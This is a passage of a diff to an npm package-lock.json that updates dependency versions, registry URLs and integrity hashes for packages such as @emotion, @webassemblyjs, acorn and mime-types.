- "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.7.1.tgz",
- "integrity": "sha512-OYpa/Sg+2GDX+jibUfpZVn1YqSVRpYmTLF2eyAfrFTIJSbwyIrc+YscayoykvaOME/wV4BV0Sa0yqdMrgse6mA=="
+ "version": "0.7.3",
+ "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.7.3.tgz",
+ "integrity": "sha512-14ZVlsB9akwvydAdaEnVnvqu6J2P6ySv39hYyl/aoB6w/V+bXX0tay8cF6paqbgZsN2n5Xh15uF4pE+GvE+itw=="
},
"@emotion/memoize": {
- "version": "0.7.1",
- "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.7.1.tgz",
- "integrity": "sha512-Qv4LTqO11jepd5Qmlp3M1YEjBumoTHcHFdgPTQ+sFlIL5myi/7xu/POwP7IRu6odBdmLXdtIs1D6TuW6kbwbbg=="
+ "version": "0.7.3",
+ "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.7.3.tgz",
+ "integrity": "sha512-2Md9mH6mvo+ygq1trTeVp2uzAKwE2P7In0cRpD/M9Q70aH8L+rxMLbb3JCN2JoSWsV2O+DdFjfbbXoMoLBczow=="
},
"@emotion/serialize": {
- "version": "0.11.6",
- "resolved": "https://registry.npmjs.org/@emotion/serialize/-/serialize-0.11.6.tgz",
- "integrity": "sha512-n4zVv2qGLmspF99jaEUwnMV0fnEGsyUMsC/8KZKUSUTZMYljHE+j+B6rSD8PIFtaUIhHaxCG2JawN6L+OgLN0Q==",
+ "version": "0.11.11",
+ "resolved": "https://registry.npmjs.org/@emotion/serialize/-/serialize-0.11.11.tgz",
+ "integrity": "sha512-YG8wdCqoWtuoMxhHZCTA+egL0RSGdHEc+YCsmiSBPBEDNuVeMWtjEWtGrhUterSChxzwnWBXvzSxIFQI/3sHLw==",
"requires": {
- "@emotion/hash": "0.7.1",
- "@emotion/memoize": "0.7.1",
- "@emotion/unitless": "0.7.3",
- "@emotion/utils": "0.11.1",
- "csstype": "^2.5.7"
+ "@emotion/hash": "0.7.3",
+ "@emotion/memoize": "0.7.3",
+ "@emotion/unitless": "0.7.4",
+ "@emotion/utils": "0.11.2",
+ "csstype": "2.6.6"
}
},
"@emotion/sheet": {
- "version": "0.9.2",
- "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-0.9.2.tgz",
- "integrity": "sha512-pVBLzIbC/QCHDKJF2E82V2H/W/B004mDFQZiyo/MSR+VC4pV5JLG0TF/zgQDFvP3fZL/5RTPGEmXlYJBMUuJ+A=="
+ "version": "0.9.3",
+ "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-0.9.3.tgz",
+ "integrity": "sha512-c3Q6V7Df7jfwSq5AzQWbXHa5soeE4F5cbqi40xn0CzXxWW9/6Mxq48WJEtqfWzbZtW9odZdnRAkwCQwN12ob4A=="
},
"@emotion/stylis": {
- "version": "0.8.3",
- "resolved": "https://registry.npmjs.org/@emotion/stylis/-/stylis-0.8.3.tgz",
- "integrity": "sha512-M3nMfJ6ndJMYloSIbYEBq6G3eqoYD41BpDOxreE8j0cb4fzz/5qvmqU9Mb2hzsXcCnIlGlWhS03PCzVGvTAe0Q=="
+ "version": "0.8.4",
+ "resolved": "https://registry.npmjs.org/@emotion/stylis/-/stylis-0.8.4.tgz",
+ "integrity": "sha512-TLmkCVm8f8gH0oLv+HWKiu7e8xmBIaokhxcEKPh1m8pXiV/akCiq50FvYgOwY42rjejck8nsdQxZlXZ7pmyBUQ=="
},
"@emotion/unitless": {
- "version": "0.7.3",
- "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.7.3.tgz",
- "integrity": "sha512-4zAPlpDEh2VwXswwr/t8xGNDGg8RQiPxtxZ3qQEXyQsBV39ptTdESCjuBvGze1nLMVrxmTIKmnO/nAV8Tqjjzg=="
+ "version": "0.7.4",
+ "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.7.4.tgz",
+ "integrity": "sha512-kBa+cDHOR9jpRJ+kcGMsysrls0leukrm68DmFQoMIWQcXdr2cZvyvypWuGYT7U+9kAExUE7+T7r6G3C3A6L8MQ=="
},
"@emotion/utils": {
- "version": "0.11.1",
- "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-0.11.1.tgz",
- "integrity": "sha512-8M3VN0hetwhsJ8dH8VkVy7xo5/1VoBsDOk/T4SJOeXwTO1c4uIqVNx2qyecLFnnUWD5vvUqHQ1gASSeUN6zcTg=="
+ "version": "0.11.2",
+ "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-0.11.2.tgz",
+ "integrity": "sha512-UHX2XklLl3sIaP6oiMmlVzT0J+2ATTVpf0dHQVyPJHTkOITvXfaSqnRk6mdDhV9pR8T/tHc3cex78IKXssmzrA=="
},
"@emotion/weak-memoize": {
- "version": "0.2.2",
- "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.2.2.tgz",
- "integrity": "sha512-n/VQ4mbfr81aqkx/XmVicOLjviMuy02eenSdJY33SVA7S2J42EU0P1H0mOogfYedb3wXA0d/LVtBrgTSm04WEA=="
+ "version": "0.2.4",
+ "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.2.4.tgz",
+ "integrity": "sha512-6PYY5DVdAY1ifaQW6XYTnOMihmBVT27elqSjEoodchsGjzYlEsTQMcEhSud99kVawatyTZRTiVkJ/c6lwbQ7nA=="
},
"@kunukn/react-collapse": {
- "version": "1.0.5",
- "resolved": "https://registry.npmjs.org/@kunukn/react-collapse/-/react-collapse-1.0.5.tgz",
- "integrity": "sha1-g7BZ6nflM6g+NH6RK0dknyvAxps="
+ "version": "1.2.7",
+ "resolved": "https://registry.npmjs.org/@kunukn/react-collapse/-/react-collapse-1.2.7.tgz",
+ "integrity": "sha512-Ez4CqaPqYFdYX8k8A0Y0640tEZT6oo+Lj3g3KyzuWjkl6uOBrnBohxyUfrCoS6wYVun9GUOgRH5V3pSirrmJDQ=="
},
- "@webassemblyjs/ast": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.7.8.tgz",
- "integrity": "sha512-dOrtdtEyB8sInpl75yLPNksY4sRl0j/+t6aHyB/YA+ab9hV3Fo7FmG12FHzP+2MvWVAJtDb+6eXR5EZbZJ+uVg==",
+ "@types/events": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/@types/events/-/events-3.0.0.tgz",
+ "integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g==",
+ "dev": true
+ },
+ "@types/glob": {
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.1.1.tgz",
+ "integrity": "sha512-1Bh06cbWJUHMC97acuD6UMG29nMt0Aqz1vF3guLfG+kHHJhy3AyohZFFxYk2f7Q1SQIrNwvncxAE0N/9s70F2w==",
"dev": true,
"requires": {
- "@webassemblyjs/helper-module-context": "1.7.8",
- "@webassemblyjs/helper-wasm-bytecode": "1.7.8",
- "@webassemblyjs/wast-parser": "1.7.8"
+ "@types/events": "3.0.0",
+ "@types/minimatch": "3.0.3",
+ "@types/node": "12.7.5"
+ }
+ },
+ "@types/minimatch": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.3.tgz",
+ "integrity": "sha512-tHq6qdbT9U1IRSGf14CL0pUlULksvY9OZ+5eEgl1N7t+OA3tGvNpxJCzuKQlsNgCVwbAs670L1vcVQi8j9HjnA==",
+ "dev": true
+ },
+ "@types/node": {
+ "version": "12.7.5",
+ "resolved": "https://registry.npmjs.org/@types/node/-/node-12.7.5.tgz",
+ "integrity": "sha512-9fq4jZVhPNW8r+UYKnxF1e2HkDWOWKM5bC2/7c9wPV835I0aOrVbS/Hw/pWPk2uKrNXQqg9Z959Kz+IYDd5p3w==",
+ "dev": true
+ },
+ "@webassemblyjs/ast": {
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.8.5.tgz",
+ "integrity": "sha512-aJMfngIZ65+t71C3y2nBBg5FFG0Okt9m0XEgWZ7Ywgn1oMAT8cNwx00Uv1cQyHtidq0Xn94R4TAywO+LCQ+ZAQ==",
+ "dev": true,
+ "requires": {
+ "@webassemblyjs/helper-module-context": "1.8.5",
+ "@webassemblyjs/helper-wasm-bytecode": "1.8.5",
+ "@webassemblyjs/wast-parser": "1.8.5"
}
},
"@webassemblyjs/floating-point-hex-parser": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.7.8.tgz",
- "integrity": "sha512-kn2zNKGsbql5i56VAgRYkpG+VazqHhQQZQycT2uXAazrAEDs23gy+Odkh5VblybjnwX2/BITkDtNmSO76hdIvQ==",
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.8.5.tgz",
+ "integrity": "sha512-9p+79WHru1oqBh9ewP9zW95E3XAo+90oth7S5Re3eQnECGq59ly1Ri5tsIipKGpiStHsUYmY3zMLqtk3gTcOtQ==",
"dev": true
},
"@webassemblyjs/helper-api-error": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.7.8.tgz",
- "integrity": "sha512-xUwxDXsd1dUKArJEP5wWM5zxgCSwZApSOJyP1XO7M8rNUChUDblcLQ4FpzTpWG2YeylMwMl1MlP5Ztryiz1x4g==",
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.8.5.tgz",
+ "integrity": "sha512-Za/tnzsvnqdaSPOUXHyKJ2XI7PDX64kWtURyGiJJZKVEdFOsdKUCPTNEVFZq3zJ2R0G5wc2PZ5gvdTRFgm81zA==",
"dev": true
},
"@webassemblyjs/helper-buffer": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.7.8.tgz",
- "integrity": "sha512-WXiIMnuvuwlhWvVOm8xEXU9DnHaa3AgAU0ZPfvY8vO1cSsmYb2WbGbHnMLgs43vXnA7XAob9b56zuZaMkxpCBg==",
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.8.5.tgz",
+ "integrity": "sha512-Ri2R8nOS0U6G49Q86goFIPNgjyl6+oE1abW1pS84BuhP1Qcr5JqMwRFT3Ah3ADDDYGEgGs1iyb1DGX+kAi/c/Q==",
"dev": true
},
"@webassemblyjs/helper-code-frame": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.7.8.tgz",
- "integrity": "sha512-TLQxyD9qGOIdX5LPQOPo0Ernd88U5rHkFb8WAjeMIeA0sPjCHeVPaGqUGGIXjUcblUkjuDAc07bruCcNHUrHDA==",
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.8.5.tgz",
+ "integrity": "sha512-VQAadSubZIhNpH46IR3yWO4kZZjMxN1opDrzePLdVKAZ+DFjkGD/rf4v1jap744uPVU6yjL/smZbRIIJTOUnKQ==",
"dev": true,
"requires": {
- "@webassemblyjs/wast-printer": "1.7.8"
+ "@webassemblyjs/wast-printer": "1.8.5"
}
},
"@webassemblyjs/helper-fsm": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-fsm/-/helper-fsm-1.7.8.tgz",
- "integrity": "sha512-TjK0CnD8hAPkV5mbSp5aWl6SO1+H3WFcjWtixWoy8EMA99YnNzYhpc/WSYWhf7yrhpzkq5tZB0tvLK3Svr3IXA==",
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-fsm/-/helper-fsm-1.8.5.tgz",
+ "integrity": "sha512-kRuX/saORcg8se/ft6Q2UbRpZwP4y7YrWsLXPbbmtepKr22i8Z4O3V5QE9DbZK908dh5Xya4Un57SDIKwB9eow==",
"dev": true
},
"@webassemblyjs/helper-module-context": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-module-context/-/helper-module-context-1.7.8.tgz",
- "integrity": "sha512-uCutAKR7Nm0VsFixcvnB4HhAyHouNbj0Dx1p7eRjFjXGGZ+N7ftTaG1ZbWCasAEbtwGj54LP8+lkBZdTCPmLGg==",
- "dev": true
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-module-context/-/helper-module-context-1.8.5.tgz",
+ "integrity": "sha512-/O1B236mN7UNEU4t9X7Pj38i4VoU8CcMHyy3l2cV/kIF4U5KoHXDVqcDuOs1ltkac90IM4vZdHc52t1x8Yfs3g==",
+ "dev": true,
+ "requires": {
+ "@webassemblyjs/ast": "1.8.5",
+ "mamacro": "0.0.3"
+ }
},
"@webassemblyjs/helper-wasm-bytecode": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.7.8.tgz",
- "integrity": "sha512-AdCCE3BMW6V34WYaKUmPgVHa88t2Z14P4/0LjLwuGkI0X6pf7nzp0CehzVVk51cKm2ymVXjl9dCG+gR1yhITIQ==",
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.8.5.tgz",
+ "integrity": "sha512-Cu4YMYG3Ddl72CbmpjU/wbP6SACcOPVbHN1dI4VJNJVgFwaKf1ppeFJrwydOG3NDHxVGuCfPlLZNyEdIYlQ6QQ==",
"dev": true
},
"@webassemblyjs/helper-wasm-section": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.7.8.tgz",
- "integrity": "sha512-BkBhYQuzyl4hgTGOKo87Vdw6f9nj8HhI7WYpI0MCC5qFa5ahrAPOGgyETVdnRbv+Rjukl9MxxfDmVcVC435lDg==",
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.8.5.tgz",
+ "integrity": "sha512-VV083zwR+VTrIWWtgIUpqfvVdK4ff38loRmrdDBgBT8ADXYsEZ5mPQ4Nde90N3UYatHdYoDIFb7oHzMncI02tA==",
"dev": true,
"requires": {
- "@webassemblyjs/ast": "1.7.8",
- "@webassemblyjs/helper-buffer": "1.7.8",
- "@webassemblyjs/helper-wasm-bytecode": "1.7.8",
- "@webassemblyjs/wasm-gen": "1.7.8"
+ "@webassemblyjs/ast": "1.8.5",
+ "@webassemblyjs/helper-buffer": "1.8.5",
+ "@webassemblyjs/helper-wasm-bytecode": "1.8.5",
+ "@webassemblyjs/wasm-gen": "1.8.5"
}
},
"@webassemblyjs/ieee754": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.7.8.tgz",
- "integrity": "sha512-tOarWChdG1a3y1yqCX0JMDKzrat5tQe4pV6K/TX19BcXsBLYxFQOL1DEDa5KG9syeyvCrvZ+i1+Mv1ExngvktQ==",
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.8.5.tgz",
+ "integrity": "sha512-aaCvQYrvKbY/n6wKHb/ylAJr27GglahUO89CcGXMItrOBqRarUMxWLJgxm9PJNuKULwN5n1csT9bYoMeZOGF3g==",
"dev": true,
"requires": {
- "@xtuc/ieee754": "^1.2.0"
+ "@xtuc/ieee754": "1.2.0"
}
},
"@webassemblyjs/leb128": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.7.8.tgz",
- "integrity": "sha512-GCYeGPgUFWJiZuP4NICbcyUQNxNLJIf476Ei+K+jVuuebtLpfvwkvYT6iTUE7oZYehhkor4Zz2g7SJ/iZaPudQ==",
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.8.5.tgz",
+ "integrity": "sha512-plYUuUwleLIziknvlP8VpTgO4kqNaH57Y3JnNa6DLpu/sGcP6hbVdfdX5aHAV716pQBKrfuU26BJK29qY37J7A==",
"dev": true,
"requires": {
- "@xtuc/long": "4.2.1"
+ "@xtuc/long": "4.2.2"
}
},
"@webassemblyjs/utf8": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.7.8.tgz",
- "integrity": "sha512-9X+f0VV+xNXW2ujfIRSXBJENGE6Qh7bNVKqu3yDjTFB3ar3nsThsGBBKdTG58aXOm2iUH6v28VIf88ymPXODHA==",
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.8.5.tgz",
+ "integrity": "sha512-U7zgftmQriw37tfD934UNInokz6yTmn29inT2cAetAsaU9YeVCveWEwhKL1Mg4yS7q//NGdzy79nlXh3bT8Kjw==",
"dev": true
},
"@webassemblyjs/wasm-edit": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.7.8.tgz",
- "integrity": "sha512-6D3Hm2gFixrfyx9XjSON4ml1FZTugqpkIz5Awvrou8fnpyprVzcm4X8pyGRtA2Piixjl3DqmX/HB1xdWyE097A==",
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.8.5.tgz",
+ "integrity": "sha512-A41EMy8MWw5yvqj7MQzkDjU29K7UJq1VrX2vWLzfpRHt3ISftOXqrtojn7nlPsZ9Ijhp5NwuODuycSvfAO/26Q==",
"dev": true,
"requires": {
- "@webassemblyjs/ast": "1.7.8",
- "@webassemblyjs/helper-buffer": "1.7.8",
- "@webassemblyjs/helper-wasm-bytecode": "1.7.8",
- "@webassemblyjs/helper-wasm-section": "1.7.8",
- "@webassemblyjs/wasm-gen": "1.7.8",
- "@webassemblyjs/wasm-opt": "1.7.8",
- "@webassemblyjs/wasm-parser": "1.7.8",
- "@webassemblyjs/wast-printer": "1.7.8"
+ "@webassemblyjs/ast": "1.8.5",
+ "@webassemblyjs/helper-buffer": "1.8.5",
+ "@webassemblyjs/helper-wasm-bytecode": "1.8.5",
+ "@webassemblyjs/helper-wasm-section": "1.8.5",
+ "@webassemblyjs/wasm-gen": "1.8.5",
+ "@webassemblyjs/wasm-opt": "1.8.5",
+ "@webassemblyjs/wasm-parser": "1.8.5",
+ "@webassemblyjs/wast-printer": "1.8.5"
}
},
"@webassemblyjs/wasm-gen": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.7.8.tgz",
- "integrity": "sha512-a7O/wE6eBeVKKUYgpMK7NOHmMADD85rSXLe3CqrWRDwWff5y3cSVbzpN6Qv3z6C4hdkpq9qyij1Ga1kemOZGvQ==",
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.8.5.tgz",
+ "integrity": "sha512-BCZBT0LURC0CXDzj5FXSc2FPTsxwp3nWcqXQdOZE4U7h7i8FqtFK5Egia6f9raQLpEKT1VL7zr4r3+QX6zArWg==",
"dev": true,
"requires": {
- "@webassemblyjs/ast": "1.7.8",
- "@webassemblyjs/helper-wasm-bytecode": "1.7.8",
- "@webassemblyjs/ieee754": "1.7.8",
- "@webassemblyjs/leb128": "1.7.8",
- "@webassemblyjs/utf8": "1.7.8"
+ "@webassemblyjs/ast": "1.8.5",
+ "@webassemblyjs/helper-wasm-bytecode": "1.8.5",
+ "@webassemblyjs/ieee754": "1.8.5",
+ "@webassemblyjs/leb128": "1.8.5",
+ "@webassemblyjs/utf8": "1.8.5"
}
},
"@webassemblyjs/wasm-opt": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.7.8.tgz",
- "integrity": "sha512-3lbQ0PT81NHCdi1sR/7+SNpZadM4qYcTSr62nFFAA7e5lFwJr14M1Gi+A/Y3PgcDWOHYjsaNGPpPU0H03N6Blg==",
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.8.5.tgz",
+ "integrity": "sha512-HKo2mO/Uh9A6ojzu7cjslGaHaUU14LdLbGEKqTR7PBKwT6LdPtLLh9fPY33rmr5wcOMrsWDbbdCHq4hQUdd37Q==",
"dev": true,
"requires": {
- "@webassemblyjs/ast": "1.7.8",
- "@webassemblyjs/helper-buffer": "1.7.8",
- "@webassemblyjs/wasm-gen": "1.7.8",
- "@webassemblyjs/wasm-parser": "1.7.8"
+ "@webassemblyjs/ast": "1.8.5",
+ "@webassemblyjs/helper-buffer": "1.8.5",
+ "@webassemblyjs/wasm-gen": "1.8.5",
+ "@webassemblyjs/wasm-parser": "1.8.5"
}
},
"@webassemblyjs/wasm-parser": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.7.8.tgz",
- "integrity": "sha512-rZ/zlhp9DHR/05zh1MbAjT2t624sjrPP/OkJCjXqzm7ynH+nIdNcn9Ixc+qzPMFXhIrk0rBoQ3to6sEIvHh9jQ==",
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.8.5.tgz",
+ "integrity": "sha512-pi0SYE9T6tfcMkthwcgCpL0cM9nRYr6/6fjgDtL6q/ZqKHdMWvxitRi5JcZ7RI4SNJJYnYNaWy5UUrHQy998lw==",
"dev": true,
"requires": {
- "@webassemblyjs/ast": "1.7.8",
- "@webassemblyjs/helper-api-error": "1.7.8",
- "@webassemblyjs/helper-wasm-bytecode": "1.7.8",
- "@webassemblyjs/ieee754": "1.7.8",
- "@webassemblyjs/leb128": "1.7.8",
- "@webassemblyjs/utf8": "1.7.8"
+ "@webassemblyjs/ast": "1.8.5",
+ "@webassemblyjs/helper-api-error": "1.8.5",
+ "@webassemblyjs/helper-wasm-bytecode": "1.8.5",
+ "@webassemblyjs/ieee754": "1.8.5",
+ "@webassemblyjs/leb128": "1.8.5",
+ "@webassemblyjs/utf8": "1.8.5"
}
},
"@webassemblyjs/wast-parser": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-parser/-/wast-parser-1.7.8.tgz",
- "integrity": "sha512-Q/zrvtUvzWuSiJMcSp90fi6gp2nraiHXjTV2VgAluVdVapM4gy1MQn7akja2p6eSBDQpKJPJ6P4TxRkghRS5dg==",
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-parser/-/wast-parser-1.8.5.tgz",
+ "integrity": "sha512-daXC1FyKWHF1i11obK086QRlsMsY4+tIOKgBqI1lxAnkp9xe9YMcgOxm9kLe+ttjs5aWV2KKE1TWJCN57/Btsg==",
"dev": true,
"requires": {
- "@webassemblyjs/ast": "1.7.8",
- "@webassemblyjs/floating-point-hex-parser": "1.7.8",
- "@webassemblyjs/helper-api-error": "1.7.8",
- "@webassemblyjs/helper-code-frame": "1.7.8",
- "@webassemblyjs/helper-fsm": "1.7.8",
- "@xtuc/long": "4.2.1"
+ "@webassemblyjs/ast": "1.8.5",
+ "@webassemblyjs/floating-point-hex-parser": "1.8.5",
+ "@webassemblyjs/helper-api-error": "1.8.5",
+ "@webassemblyjs/helper-code-frame": "1.8.5",
+ "@webassemblyjs/helper-fsm": "1.8.5",
+ "@xtuc/long": "4.2.2"
}
},
"@webassemblyjs/wast-printer": {
- "version": "1.7.8",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.7.8.tgz",
- "integrity": "sha512-GllIthRtwTxRDAURRNXscu7Napzmdf1jt1gpiZiK/QN4fH0lSGs3OTmvdfsMNP7tqI4B3ZtfaaWRlNIQug6Xyg==",
+ "version": "1.8.5",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.8.5.tgz",
+ "integrity": "sha512-w0U0pD4EhlnvRyeJzBqaVSJAo9w/ce7/WPogeXLzGkO6hzhr4GnQIZ4W4uUt5b9ooAaXPtnXlj0gzsXEOUNYMg==",
"dev": true,
"requires": {
- "@webassemblyjs/ast": "1.7.8",
- "@webassemblyjs/wast-parser": "1.7.8",
- "@xtuc/long": "4.2.1"
+ "@webassemblyjs/ast": "1.8.5",
+ "@webassemblyjs/wast-parser": "1.8.5",
+ "@xtuc/long": "4.2.2"
}
},
"@xtuc/ieee754": {
@@ -520,9 +569,9 @@
"dev": true
},
"@xtuc/long": {
- "version": "4.2.1",
- "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.1.tgz",
- "integrity": "sha512-FZdkNBDqBRHKQ2MEbSC17xnPFOhZxeJ2YGSfr2BKf3sujG49Qe3bB+rGCwQfIaA7WHnGeGkSijX4FuBCdrzW/g==",
+ "version": "4.2.2",
+ "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz",
+ "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==",
"dev": true
},
"abbrev": {
@@ -531,55 +580,43 @@
"integrity": "sha1-kbR5JYinc4wl813W9jdSovh3YTU="
},
"accepts": {
- "version": "1.3.5",
- "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.5.tgz",
- "integrity": "sha1-63d99gEXI6OxTopywIBcjoZ0a9I=",
+ "version": "1.3.7",
+ "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.7.tgz",
+ "integrity": "sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==",
"dev": true,
"requires": {
- "mime-types": "~2.1.18",
- "negotiator": "0.6.1"
+ "mime-types": "2.1.24",
+ "negotiator": "0.6.2"
},
"dependencies": {
"mime-db": {
- "version": "1.35.0",
- "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.35.0.tgz",
- "integrity": "sha512-JWT/IcCTsB0Io3AhWUMjRqucrHSPsSf2xKLaRldJVULioggvkJvggZ3VXNNSRkCddE6D+BUI4HEIZIA2OjwIvg==",
+ "version": "1.40.0",
+ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz",
+ "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA==",
"dev": true
},
"mime-types": {
- "version": "2.1.19",
- "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.19.tgz",
- "integrity": "sha512-P1tKYHVSZ6uFo26mtnve4HQFE3koh1UWVkp8YUC+ESBHe945xWSoXuHHiGarDqcEZ+whpCDnlNw5LON0kLo+sw==",
+ "version": "2.1.24",
+ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz",
+ "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==",
"dev": true,
"requires": {
- "mime-db": "~1.35.0"
+ "mime-db": "1.40.0"
}
}
}
},
"acorn": {
- "version": "5.7.3",
- "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.3.tgz",
- "integrity": "sha512-T/zvzYRfbVojPWahDsE5evJdHb3oJoQfFbsrKM7w5Zcs++Tr257tia3BmMP8XYVjp1S9RZXQMh7gao96BlqZOw==",
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.3.0.tgz",
+ "integrity": "sha512-/czfa8BwS88b9gWQVhc8eknunSA2DoJpJyTQkhheIf5E48u1N0R4q/YxxsAeqRrmK9TQ/uYfgLDfZo91UlANIA==",
"dev": true
},
- "acorn-dynamic-import": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/acorn-dynamic-import/-/acorn-dynamic-import-3.0.0.tgz",
- "integrity": "sha512-zVWV8Z8lislJoOKKqdNMOB+s6+XV5WERty8MnKBeFgwA+19XJjJHs2RP5dzM57FftIs+jQnRToLiWazKr6sSWg==",
- "dev": true,
- "requires": {
- "acorn": "^5.0.0"
- }
- },
"acorn-jsx": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-4.1.1.tgz",
- "integrity": "sha512-JY+iV6r+cO21KtntVvFkD+iqjtdpRUpGqKWgfkCdZq1R+kbreEl8EcdcJR4SmiIgsIQT33s6QzheQ9a275Q8xw==",
- "dev": true,
- "requires": {
- "acorn": "^5.0.3"
- }
+ "version": "5.0.2",
+ "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.0.2.tgz",
+ "integrity": "sha512-tiNTrP1MP0QrChmD2DdupCr6HWSFeKVw5d/dHTu4Y7rkAkRhU/Dt7dphAfIUyxtHpl/eBVip5uTNSpQJHylpAw==",
+ "dev": true
},
"after": {
"version": "0.8.2",
@@ -593,10 +630,10 @@
"integrity": "sha512-hOs7GfvI6tUI1LfZddH82ky6mOMyTuY0mk7kE2pWpmhhUSkumzaTO5vbVwij39MdwPQWCV4Zv57Eo06NtL/GVA==",
"dev": true,
"requires": {
